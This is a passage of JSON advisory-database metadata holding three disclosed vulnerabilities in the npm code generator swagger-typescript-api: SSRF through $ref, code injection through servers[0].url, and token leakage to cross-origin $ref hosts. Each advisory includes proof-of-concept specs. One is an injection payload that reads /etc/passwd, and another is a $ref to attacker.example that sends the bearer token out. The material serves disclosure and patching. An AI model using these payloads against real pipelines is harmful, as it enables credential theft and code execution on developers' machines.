13.12.1"}],"purl":"pkg:npm/swagger-typescript-api"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zOGMzLXd2M2MtdjN4as4ABgrA/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14MzZyLTQzNDctcG01eM4ABgq_","url":"https://github.com/advisories/GHSA-x36r-4347-pm5x","title":"swagger-typescript-api vulnerable to Server-Side Request Forgery via spec `$ref`","description":"### Summary\n\n`swagger-typescript-api` walks every `$ref` value in the input OpenAPI spec and, for any `$ref` whose target is an `http(s)://` URL, issues an HTTP GET to that URL during generation (`warmUpRemoteSchemasCache`). The only URL filter is a regex that matches `^https?://` — there is **no private-IP allowlist, no DNS-rebinding protection, no redirect cap, and no same-origin check against the spec source**. A malicious OpenAPI spec can therefore force the generator process to issue HTTP requests to arbitrary hosts and paths reachable from the generator's network, including `127.0.0.1`, RFC-1918 ranges, internal hostnames, and the cloud instance-metadata endpoint at `169.254.169.254`.\n\nThe attacker model is identical to the previously reported code-injection findings: a developer or CI pipeline that runs `swagger-typescript-api generate` against an attacker-controlled spec (remote URL, third-party / public OpenAPI registry, multi-tenant tenant input, or a spec file modified via PR).\n\n### Details\n\n`SwaggerSchemaResolver.fetchSwaggerSchemaFile` (`src/swagger-schema-resolver.ts:122`) loads the entry-point spec. After it parses, `ResolvedSwaggerSchema` (`src/resolved-swagger-schema.ts`) calls `warmUpRemoteSchemasCache` which does a BFS over every external `$ref`:\n\n```ts\n// src/resolved-swagger-schema.ts:399-445\nprivate async warmUpRemoteSchemasCache() {\n  if (typeof this.config.url !== \"string\" || !this.isHttpUrl(this.config.url)) {\n    return;\n  }\n  const visited = new Set\u003cstring\u003e();\n  const queue = [this.stripHash(this.config.url)];\n\n  while (queue.length \u003e 0) {\n    const currentUrl = queue.shift();\n    if (!currentUrl || visited.has(currentUrl)) continue;\n    visited.add(currentUrl);\n\n    if (this.externalSchemaCache.has(currentUrl)) continue;\n    const schema = await this.fetchRemoteSchemaDocument(currentUrl);   // \u003c-- HTTP GET\n    if (!schema) continue;\n    this.externalSchemaCache.set(currentUrl, schema);\n\n    for (const ref of this.extractRefsFromSchema(schema)) {\n      const normalizedRef = this.normalizeRef(ref);\n      if (normalizedRef.startsWith(\"#\")) continue;\n\n      const [externalPath = \"\"] = normalizedRef.split(\"#\");\n      if (!externalPath) continue;\n\n      const absoluteUrl = this.resolveAbsoluteUrl(externalPath, currentUrl);\n      if (absoluteUrl \u0026\u0026 !visited.has(absoluteUrl)) {\n        queue.push(absoluteUrl);                                       // \u003c-- recurse\n      }\n    }\n  }\n}\n```\n\nThe fetch itself:\n\n```ts\n// src/resolved-swagger-schema.ts:374\nconst response = await fetch(url, {\n  headers: this.getRemoteRequestHeaders(),\n});\n```\n\n…and the only URL-shape filter:\n\n```ts\n// src/resolved-swagger-schema.ts:75-78\nprivate isHttpUrl(value: string): boolean {\n  return /^https?:\\/\\//i.test(value);\n}\n```\n\nThere is no IP allowlist (no rejection of `127.x`, `10.x`, `172.16-31.x`, `192.168.x`, `169.254.x`, IPv6 `::1` / fc00::/7, etc.), no DNS-rebinding mitigation (the URL is passed straight to Node's built-in `fetch`, which itself follows up to 20 redirects by default), and no check that the new URL shares an origin with the spec source. Any `$ref` value that survives `isHttpUrl` is fetched.\n\nBecause `fetch` is Node's undici-backed implementation, an external 302 redirect from an attacker's spec server to an internal URL ALSO succeeds — even if the maintainer later adds a private-IP filter to the spec string itself, redirect-based SSRF would still work without additional mitigation in the fetch options (`redirect: \"manual\"` or a custom dispatcher with a same-host check).\n\n### PoC\n\nSelf-contained reproducer in comments (install `swagger-typescript-api@13.12.1` into a local `node_modules`, spin up two loopback HTTP servers — one serving the spec, one pretending to be an \"internal\" service — run the generator against each, observe the internal server's hit count). Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Payload spec** (served from `http://127.0.0.1:\u003cspec-port\u003e/spec.json`):\n\n```json\n{\n  \"openapi\": \"3.0.0\",\n  \"info\": { \"title\": \"SSRF-payload\", \"version\": \"1.0.0\" },\n  \"paths\": {\n    \"/p\": {\n      \"get\": {\n        \"operationId\": \"p\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"OK\",\n            \"content\": {\n              \"application/json\": {\n                \"schema\": {\n                  \"$ref\": \"http://127.0.0.1:\u003cinternal-port\u003e/INTERNAL_ONLY_PATH/secret.json\"\n                }\n              }\n            }\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n**Steps:**\n\n```bash\n# 1. Start a loopback \"internal\" HTTP server that should not be reachable from a public spec.\n# 2. Start a loopback \"spec\" HTTP server that serves the payload spec above.\n# 3. Point the generator at the spec server.\nnpm install swagger-typescript-api@13.12.1\nnode -e \"import('swagger-typescript-api').then(m =\u003e m.generateApi({\n  output: '/tmp/out',\n  url: 'http://127.0.0.1:\u003cspec-port\u003e/spec.json',\n  httpClientType: 'fetch'\n}))\"\n```\n\n**Observed (control vs payload):**\n\n```\n[control] (no external $ref in spec) → internal-server hits: 0\n[payload] ($ref → http://127.0.0.1:\u003cinternal-port\u003e/...) → internal-server hits: 1\n  hit: /INTERNAL_ONLY_PATH/secret.json  host=127.0.0.1:\u003cinternal-port\u003e\n```\n\nThe internal server received a `GET /INTERNAL_ONLY_PATH/secret.json` issued by the generator's `warmUpRemoteSchemasCache` while the developer was running `swagger-typescript-api generate`. The loopback target in the PoC stands in for any host reachable from the generator process — typical real-world targets include `169.254.169.254` (cloud IMDS), internal admin panels, intranet web apps, and corporate-VPN-only services.\n\n### Impact\n\n**Type:** Server-Side Request Forgery (CWE-918) via unrestricted external-reference resolution in a code-generation tool.\n\n**Affected use cases:**\n\n- A developer running `sta generate --url https://attacker.example/openapi.json` against an attacker-hosted spec.\n- A developer running the generator against any third-party or public OpenAPI spec they did not author (cached APIs on public schema registries, vendor / partner specs).\n- A CI/CD pipeline regenerating clients from a spec on every build.\n- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.\n- Any project where a contributor can modify the pinned spec via a pull request.\n\n**What an attacker can do with this:**\n\n- Probe the generator's network reachability — enumerate which RFC-1918 hosts and internal services are alive based on timing and error states.\n- Hit cloud-provider instance metadata endpoints (`http://169.254.169.254/...`) on cloud-hosted CI runners. Even though the response body is not directly returned to the attacker, side effects (rate-limit, timing, error code reflected in logs) leak information.\n- Trigger side effects in internal services that have GET-mutating endpoints (rare but real).\n- Combine with the companion finding (Authorization-token forwarding to `$ref` URLs — filed separately) to escalate this from blind SSRF into direct credential exfiltration.\n\n**Lifecycle:** generation-time. The fetch happens when the developer or CI pipeline runs `swagger-typescript-api generate`, not when the generated client is later imported.\n\n**Suggested fix:**\n\nDefense in depth at three layers, in priority order:\n\n1. **Reject private / link-local / loopback addresses at the URL-validation layer.** Resolve the URL's hostname, check the resulting IP against IPv4 ranges `127.0.0.0/8`, `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, `169.254.0.0/16`, `0.0.0.0/8`, and IPv6 equivalents (`::1`, `fc00::/7`, `fe80::/10`, `::ffff:0:0/96`). Re-resolve on every redirect to defeat DNS rebinding.\n2. **Use a custom undici dispatcher with `connect` hook that re-checks the resolved IP at TCP-connect time** — the only reliable way to defeat DNS rebinding in Node's built-in `fetch`.\n3. **Set `redirect: \"manual\"` in the `fetch` options** and validate each redirect URL through the same allowlist before following it.\n\nIf full SSRF mitigation is too invasive for a code-generation tool, at minimum surface the threat: log every external URL the generator is about to fetch (so a developer can `grep` for unexpected hosts in the output) and add an opt-out flag like `--no-external-refs` that disables `warmUpRemoteSchemasCache` entirely.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-29T14:28:58.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","references":["https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-x36r-4347-pm5x","https://github.com/acacode/swagger-typescript-api/pull/1779","https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de","https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2","https://github.com/advisories/GHSA-x36r-4347-pm5x"],"source_kind":"github","identifiers":["GHSA-x36r-4347-pm5x","CVE-2026-54663"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-29T15:00:34.288Z","updated_at":"2026-10-12T08:02:15.770Z","epss_percentage":0.0032,"epss_percentile":0.2251,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14MzZyLTQzNDctcG01eM4ABgq_","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14MzZyLTQzNDctcG01eM4ABgq_","packages":[{"ecosystem":"npm","package_name":"swagger-typescript-api","versions":[{"first_patched_version":"13.12.2","vulnerable_version_range":"\u003c= 13.12.1"}],"purl":"pkg:npm/swagger-typescript-api"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14MzZyLTQzNDctcG01eM4ABgq_/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ocWo1LWN3OWYtcng2N84ABgq-","url":"https://github.com/advisories/GHSA-hqj5-cw9f-rx67","title":"swagger-typescript-api vulnerable to code injection via unescaped `servers[0].url` in fetch http-client template","description":"### Summary\n\n`swagger-typescript-api` interpolates `servers[0].url` directly into a TypeScript class-body field initializer of the generated **fetch** `HttpClient` (`templates/base/http-clients/fetch-http-client.ejs:75`), without any escaping. A malicious URL containing a `\"` closes the string literal that initializes `public baseUrl` and exposes the surrounding *class body* to injection. The most direct exploit declares a new `static` field whose initializer is an async IIFE — TypeScript evaluates static field initializers at **class definition time**, which is at module load. A consumer who imports the generated client (or anything that transitively imports it) executes the injected code with no further interaction — no instantiation, no method call, no use of the baseUrl. The attacker controls the OpenAPI spec; the victim is whoever runs the generator and imports the result.\n\nThis is the highest-impact sink in the package: the trigger requires only a bare `import` of the generated module.\n\n### Details\n\n`createApiConfig` in `src/code-gen-process.ts:591` sets the templated `baseUrl` from the spec without sanitization:\n\n```ts\nreturn {\n  ...\n  baseUrl: serverUrl,     // \u003c-- serverUrl = swaggerSchema.servers[0].url, raw\n  ...\n};\n```\n\nThe fetch http-client template (`templates/base/http-clients/fetch-http-client.ejs:75`) then interpolates that value into a TS string literal that initializes a public class-body field of the generated `HttpClient`:\n\n```ejs\nexport class HttpClient\u003cSecurityDataType = unknown\u003e {\n    public baseUrl: string = \"\u003c%~ apiConfig.baseUrl %\u003e\";\n    private securityData: SecurityDataType | null = null;\n    ...\n}\n```\n\n`\u003c%~ %\u003e` is Eta's raw, unescaped interpolation. The codebase's only escape function — `escapeJSDocContent` (`src/schema-parser/schema-formatters.ts:127`) — only replaces `*/` and is not applied to this path.\n\nTypeScript class-body grammar permits any number of field declarations and `static` blocks between `{` and `}`. A spec value of the form:\n\n```\nURL\"; static _pwn = (IIFE)(); public x: string = \"\n```\n\nproduces the following class body:\n\n```ts\nexport class HttpClient\u003cSecurityDataType = unknown\u003e {\n  public baseUrl: string = \"URL\";\n  static _pwn = (IIFE)();    // \u003c-- static field initializer\n  public x: string = \"\";\n  private securityData: SecurityDataType | null = null;\n  ...\n}\n```\n\nThe `static _pwn = (IIFE)()` declaration's initializer is evaluated at **class definition** — i.e. when the TS class declaration is processed, which is at the moment the generated module is imported. The trailing `public x: string = \"` reopens a string that the template's own closing `\"` terminates, keeping the file syntactically valid TypeScript.\n\nThe same `Api` class (in `default/api.ejs`) extends `HttpClient`. Importing the generated module evaluates the `HttpClient` class declaration during module initialization — no `new HttpClient()`, no `new Api()`, no method call. Importing anything that transitively depends on the generated module is sufficient.\n\n### PoC\n\nSelf-contained reproducer (`run.sh` runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → bare-import → check canary). Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Malicious `servers[0].url`** (literal string, JSON-encoded in the spec below):\n\n```\nhttps://api.example.com\"; static _pwn = (async () =\u003e { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} })(); public x: string = \"\n```\n\n**Minimal payload spec:**\n\n```json\n{\n  \"openapi\": \"3.0.0\",\n  \"info\": { \"title\": \"FetchPayloadAPI\", \"version\": \"1.0.0\" },\n  \"servers\": [\n    {\n      \"url\": \"https://api.example.com\\\"; static _pwn = (async () =\u003e { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} })(); public x: string = \\\"\"\n    }\n  ],\n  \"paths\": {\n    \"/ping\": {\n      \"get\": {\n        \"operationId\": \"ping\",\n        \"responses\": { \"200\": { \"description\": \"OK\" } }\n      }\n    }\n  }\n}\n```\n\n**Steps:**\n\n```bash\nnpm install swagger-typescript-api@13.12.1 esbuild\nnode -e \"import('swagger-typescript-api').then(m =\u003e m.generateApi({\n  name: 'Api.ts', output: process.cwd() + '/out',\n  input: process.cwd() + '/payload-spec.json', httpClientType: 'fetch'\n}))\"\nnpx esbuild out/Api.ts --bundle --format=esm --platform=node \\\n  --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs\nrm -f /tmp/sta_canary\nnode --input-type=module -e \"await import('./out/Api.bundle.mjs'); await new Promise(r =\u003e setTimeout(r, 300));\"\nls -la /tmp/sta_canary \u0026\u0026 cat /tmp/sta_canary\n```\n\n**Generated `out/Api.ts` (HttpClient class body — payload, Biome-formatted):**\n\n```ts\nexport class HttpClient\u003cSecurityDataType = unknown\u003e {\n  public baseUrl: string = \"https://api.example.com\";\n  static _pwn = (async () =\u003e {\n    try {\n      const fs = await import(\"node:fs\");\n      const data = fs.readFileSync(\"/etc/passwd\", \"utf8\");\n      fs.writeFileSync(\"/tmp/sta_canary\", data);\n    } catch (e) {}\n  })();\n  public x: string = \"\";\n  private securityData: SecurityDataType | null = null;\n  ...\n}\n```\n\n`static _pwn = (async () =\u003e { ... })()` is a real TypeScript static class field declaration — Biome only reformats syntactically valid TS, so the multi-line indented output proves it parsed. The IIFE evaluates when the class declaration is processed, schedules `fs.readFileSync('/etc/passwd')`, and writes the exfiltrated contents to `/tmp/sta_canary`.\n\n**Result:** after a bare `await import('./out/Api.bundle.mjs')` (no instantiation, no method call), `/tmp/sta_canary` contains the full `/etc/passwd` of the importing process (1470 bytes on a typical Linux host). Control spec (`servers[0].url: \"https://api.example.com\"`) generates a clean `public baseUrl: string = \"https://api.example.com\";` and writes no canary.\n\n### Impact\n\n**Type:** Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).\n\n**Affected use cases:** any developer or pipeline that runs `swagger-typescript-api` against an OpenAPI spec they did not author entirely:\n\n- `sta generate --url https://attacker.example/openapi.json` — a public, third-party, or attacker-hosted spec.\n- A CI/CD pipeline regenerating fetch-based clients from a vendor / partner spec on each build.\n- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.\n- Any project pinned to a spec file that a contributor can modify via PR.\n\n**Lifecycle:** the injected `static` initializer fires at **module load** — the moment the generated module is `import`ed. A consumer does not need to instantiate `HttpClient`, does not need to construct `Api`, does not need to call any API method, does not need to read the baseUrl. Importing the generated module (or anything that transitively imports it) is sufficient. This is the absolute minimum interaction a consumer can have with a generated client.\n\n**Privilege:** the IIFE runs with the full privileges of the importing process — read any file the importer can read, write any file, exfiltrate secrets, spawn child processes, make network requests, etc.\n\n**Suggested fix:** sanitize `apiConfig.baseUrl` once at the source in `src/code-gen-process.ts:591`:\n\n```ts\n// in createApiConfig\nbaseUrl: escapeJsStringLiteral(serverUrl),\n```\n\nwhere `escapeJsStringLiteral` produces a properly-escaped JS string literal — at minimum escaping `\"`, `\\`, `\\n`, `\\r`, `\\t`, `\\b`, `\\f`, `\\v`, `\\0`, and the line/paragraph separators ` ` / ` `. `JSON.stringify(serverUrl).slice(1, -1)` is a one-line acceptable implementation. **This single change also closes the axios sibling sink** at `templates/base/http-clients/axios-http-client.ejs:71` (filed separately), since both templates read the same `apiConfig.baseUrl` value.\n\nIf a template-side fix is preferred instead, both `templates/base/http-clients/fetch-http-client.ejs:75` and `templates/base/http-clients/axios-http-client.ejs:71` need their `\u003c%~ apiConfig.baseUrl %\u003e` swapped for the escaped form — fixing only one leaves the other exploitable.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-29T14:26:38.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","references":["https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-hqj5-cw9f-rx67","https://github.com/acacode/swagger-typescript-api/pull/1779","https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de","https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2","https://github.com/advisories/GHSA-hqj5-cw9f-rx67"],"source_kind":"github","identifiers":["GHSA-hqj5-cw9f-rx67","CVE-2026-54662"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-29T15:00:34.288Z","updated_at":"2026-10-12T08:02:17.711Z","epss_percentage":0.00477,"epss_percentile":0.38529,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocWo1LWN3OWYtcng2N84ABgq-","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ocWo1LWN3OWYtcng2N84ABgq-","packages":[{"ecosystem":"npm","package_name":"swagger-typescript-api","versions":[{"first_patched_version":"13.12.2","vulnerable_version_range":"\u003c= 13.12.1"}],"purl":"pkg:npm/swagger-typescript-api"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocWo1LWN3OWYtcng2N84ABgq-/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oNzU0LWZ4cDctODh3eM4ABgq9","url":"https://github.com/advisories/GHSA-h754-fxp7-88wx","title":"swagger-typescript-api vulnerable to authorization-token exfiltration via spec `$ref`","description":"### Summary\n\nWhen the developer supplies an `--authorizationToken` (commonly required to fetch a private spec behind authentication), `swagger-typescript-api` attaches that token to the `Authorization` header of **every** subsequent HTTP request it makes while resolving external `$ref` URLs in the spec — with **no same-origin check, no host allowlist, and no scope-down** for cross-origin requests. A malicious OpenAPI spec containing a `$ref` to an attacker-controlled URL therefore causes the developer's bearer token to be sent verbatim to that URL during code generation.\n\nThe threat model is identical to the SSRF advisory filed alongside this one (companion finding), but with credential disclosure as the primary impact. The token is typically a high-value secret: a GitHub PAT, an OAuth bearer for the API the spec describes, an enterprise SSO token, an AWS-style API key, or similar. Disclosure to an attacker-controlled URL is one curl-equivalent away from full takeover of whatever scope the token grants.\n\n### Details\n\nThe header-builder lives in `src/resolved-swagger-schema.ts:81-92`:\n\n```ts\nprivate getRemoteRequestHeaders(): Record\u003cstring, string\u003e {\n  return Object.assign(\n    {},\n    this.config.authorizationToken\n      ? {\n          Authorization: this.config.authorizationToken,\n        }\n      : {},\n    (this.config.requestOptions?.headers as\n      | Record\u003cstring, string\u003e\n      | undefined) || {},\n  );\n}\n```\n\nThere is no check that the request's destination URL shares an origin (or scheme, or host, or even top-level domain) with `this.config.url` — the URL the user originally specified. The headers object is unconditional.\n\n`getRemoteRequestHeaders` is called by `fetchRemoteSchemaDocument` (`src/resolved-swagger-schema.ts:374`):\n\n```ts\nconst response = await fetch(url, {\n  headers: this.getRemoteRequestHeaders(),\n});\n```\n\n…which is in turn called by `warmUpRemoteSchemasCache` (`src/resolved-swagger-schema.ts:399-445`) for every external `$ref` URL discovered while walking the spec.\n\nNet effect: a spec whose response schema is\n\n```json\n{ \"$ref\": \"http://attacker.example/exfil-endpoint/data.json\" }\n```\n\ncauses the generator to send\n\n```\nGET /exfil-endpoint/data.json HTTP/1.1\nHost: attacker.example\nAuthorization: \u003cfull value of --authorizationToken\u003e\n```\n\nto `attacker.example`, regardless of where the original spec was hosted.\n\nThe `--authorizationToken` flag is the standard mechanism for consuming a spec behind auth — for example, fetching a private GitHub-hosted spec with a Personal Access Token, fetching a vendor API spec behind an OAuth bearer, fetching a Confluence-hosted spec with a session token. Setting `--authorizationToken` is therefore not an exotic configuration; it is the *intended* configuration for any non-public spec.\n\n### PoC\n\nSelf-contained reproducer in comments (install `swagger-typescript-api@13.12.1` into a local `node_modules`, spin up two loopback HTTP servers — one serving the spec, one pretending to be the attacker's exfil endpoint — run the generator with `authorizationToken` set, observe what the attacker endpoint received). Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Payload spec** (served from `http://127.0.0.1:\u003cspec-port\u003e/spec.json`):\n\n```json\n{\n  \"openapi\": \"3.0.0\",\n  \"info\": { \"title\": \"TokenLeak-payload\", \"version\": \"1.0.0\" },\n  \"paths\": {\n    \"/p\": {\n      \"get\": {\n        \"operationId\": \"p\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"OK\",\n            \"content\": {\n              \"application/json\": {\n                \"schema\": {\n                  \"$ref\": \"http://127.0.0.1:\u003cattacker-port\u003e/EXFIL_ENDPOINT/data.json\"\n                }\n              }\n            }\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n**Steps:**\n\n```bash\n# 1. Start a loopback \"attacker\" HTTP server on a different port from the spec server.\n# 2. Start a loopback \"spec\" HTTP server that serves the payload spec above.\n# 3. Run the generator with --authorizationToken set.\nnpm install swagger-typescript-api@13.12.1\nnode -e \"import('swagger-typescript-api').then(m =\u003e m.generateApi({\n  output: '/tmp/out',\n  url: 'http://127.0.0.1:\u003cspec-port\u003e/spec.json',\n  authorizationToken: 'Bearer USER_GITHUB_PAT_super_secret_xyz123',\n  httpClientType: 'fetch'\n}))\"\n```\n\n**Observed:**\n\n```\n[control] (no cross-origin $ref) → attacker-server hits: 0\n[payload] ($ref → http://attacker)\n  attacker-server hits: 1\n  hit: /EXFIL_ENDPOINT/data.json  Authorization header: Bearer USER_GITHUB_PAT_super_secret_xyz123\n  TOKEN LEAKED — attacker server received user-supplied authorizationToken verbatim\n```\n\nThe attacker-controlled endpoint received the developer's full `Bearer ...` token verbatim, sent by the generator while resolving the spec's `$ref`.\n\n### Impact\n\n**Type:** Insufficiently Protected Credentials (CWE-522) / Exposure of Sensitive Information to an Unauthorized Actor (CWE-200) / Insertion of Sensitive Information into Sent Data (CWE-201) via missing same-origin check on credentialed HTTP requests.\n\n**Affected use cases:**\n\n- **A developer fetching a private OpenAPI spec behind authentication** (GitHub-hosted private spec, vendor-API spec on an OAuth-protected URL, Atlassian / Confluence / enterprise wiki-hosted spec) and the spec author is not the developer. This is the literal documented usage of `--authorizationToken`.\n- **A CI/CD pipeline regenerating clients from a private spec on every build** — the CI's authentication token (often a long-lived service-account credential) leaks on every run.\n- **A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs** — a tenant's malicious spec captures the SaaS provider's API key.\n- **Any project where a contributor can modify the pinned spec via PR** — the project's CI credentials leak on first build of the malicious PR.\n\n**Lifecycle:** generation-time. The token leak happens when the developer or CI pipeline runs `swagger-typescript-api generate`, not when the generated client is later imported.\n\n**Privilege of stolen token:** typically the developer's API authentication for the target service — a GitHub PAT (full source-code read/write to whatever repos the PAT scope allows), an OAuth bearer (full impersonation on the API), an AWS-style key (full account access depending on IAM policy), or a CI service-account token (full CI/CD pipeline access). Token capture is functionally equivalent to credential theft — the attacker gains the same scope of access the developer had.\n\n**Suggested fix:**\n\nThe minimum sufficient fix is a same-origin check on the `Authorization` header forwarding:\n\n```ts\n// in src/resolved-swagger-schema.ts:81-92\nprivate getRemoteRequestHeaders(targetUrl?: string): Record\u003cstring, string\u003e {\n  const headers: Record\u003cstring, string\u003e = {};\n\n  // Only attach Authorization if the target URL shares an origin with the\n  // user-supplied spec URL. Otherwise the token is leaked across origins.\n  if (\n    this.config.authorizationToken \u0026\u0026\n    targetUrl \u0026\u0026\n    this.isSameOrigin(targetUrl, this.config.url)\n  ) {\n    headers.Authorization = this.config.authorizationToken;\n  }\n\n  return Object.assign(\n    headers,\n    (this.config.requestOptions?.headers as Record\u003cstring, string\u003e | undefined) || {},\n  );\n}\n\nprivate isSameOrigin(a: string, b: string | undefined): boolean {\n  if (typeof b !== \"string\") return false;\n  try {\n    const ua = new URL(a);\n    const ub = new URL(b);\n    return ua.protocol === ub.protocol \u0026\u0026 ua.host === ub.host;\n  } catch {\n    return false;\n  }\n}\n```\n\nThen update the call site `fetchRemoteSchemaDocument` (`src/resolved-swagger-schema.ts:374`) to pass the destination URL:\n\n```ts\nconst response = await fetch(url, {\n  headers: this.getRemoteRequestHeaders(url),\n});\n```\n\nThis is the same model browsers apply to credentialed `fetch` requests by default. It does not break legitimate same-server `$ref`s — those still authenticate normally. It only strips the token when the target's origin differs from the spec source's origin.\n\nFor deeper hardening, combine this with the SSRF mitigations recommended in the companion advisory (private-IP filter + custom undici dispatcher with redirect re-validation). The two fixes are complementary: the SSRF guard prevents the request from reaching the attacker at all; the same-origin guard prevents credential leakage even if the request does happen.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-29T14:22:46.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.4,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","references":["https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-h754-fxp7-88wx","https://github.com/acacode/swagger-typescript-api/pull/1779","https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de","https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2","https://github.com/advisories/GHSA-h754-fxp7-88wx"],"source_kind":"github","identifiers":["GHSA-h754-fxp7-88wx","CVE-2026-54660"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-29T15:00:34.288Z","updated_at":"2026-10-12T08:02:17.711Z","epss_percentage":0.00437,"epss_percentile":0.35503,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oNzU0LWZ4cDctODh3eM4ABgq9","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oNzU0LWZ4cDctODh3eM4ABgq9","packages":[{"ecosystem":"npm","package_name":"swagger-typescript-api","versions":[{"first_patched_version":"13.12.2","vulnerable_version_range":"\u003c= 13.12.1"}],"purl":"pkg:npm/swagger-typescript-api"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oNzU0LWZ4cDctODh3eM4ABgq9/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/swagger-typescript-api","docker_dependents_count":7,"docker_downloads_count":2425753,"usage_url":"https://repos.ecosyste.ms/usage/npm/swagger-typescript-api","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/swagger-typescript-api/dependencies","status":null,"funding_links":["https://paypal.me/acacode","https://github.com/sponsors/smorimoto","https://ko-fi.com/js2me"],"critical":null,"issue_metadata":{"last_synced_at":"2026-10-09T10:27:27.733Z","issues_count":353,"pull_requests_count":1076,"avg_time_to_close_issue":33562443.65441176,"avg_time_to_close_pull_request":2240723.709915612,"issues_closed_count":136,"pull_requests_closed_count":948,"pull_request_authors_count":91,"issue_authors_count":294,"avg_comments_per_issue":1.8186968838526911,"avg_comments_per_pull_request":0.6003717472118959,"merged_pull_requests_count":803,"bot_issues_count":6,"bot_pull_requests_count":737,"past_year_issues_count":9,"past_year_pull_requests_count":20,"past_year_avg_time_to_close_issue":16498530.0,"past_year_avg_time_to_close_pull_request":567014.3333333334,"past_year_issues_closed_count":1,"past_year_pull_requests_closed_count":12,"past_year_pull_request_authors_count":7,"past_year_issue_authors_count":9,"past_year_avg_comments_per_issue":0.7777777777777778,"past_year_avg_comments_per_pull_request":1.9,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":15,"past_year_merged_pull_requests_count":7,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/issues","maintainers":[{"login":"smorimoto","count":164,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/smorimoto"},{"login":"js2me","count":21,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/js2me"},{"login":"joisemp","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/joisemp"}],"active_maintainers":[{"login":"smorimoto","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/smorimoto"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/swagger-typescript-api/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/swagger-typescript-api/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/swagger-typescript-api/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/swagger-typescript-api/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/swagger-typescript-api/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/swagger-typescript-api/codemeta","maintainers":[{"uuid":"acacode","login":"acacode","name":null,"email":"acacode@outlook.com","url":null,"packages_count":25,"html_url":"https://www.npmjs.com/~acacode","role":null,"created_at":"2022-11-13T16:43:19.358Z","updated_at":"2022-11-13T16:43:19.358Z","packages_url":"https://packages.ecosyste.ms/api/v1/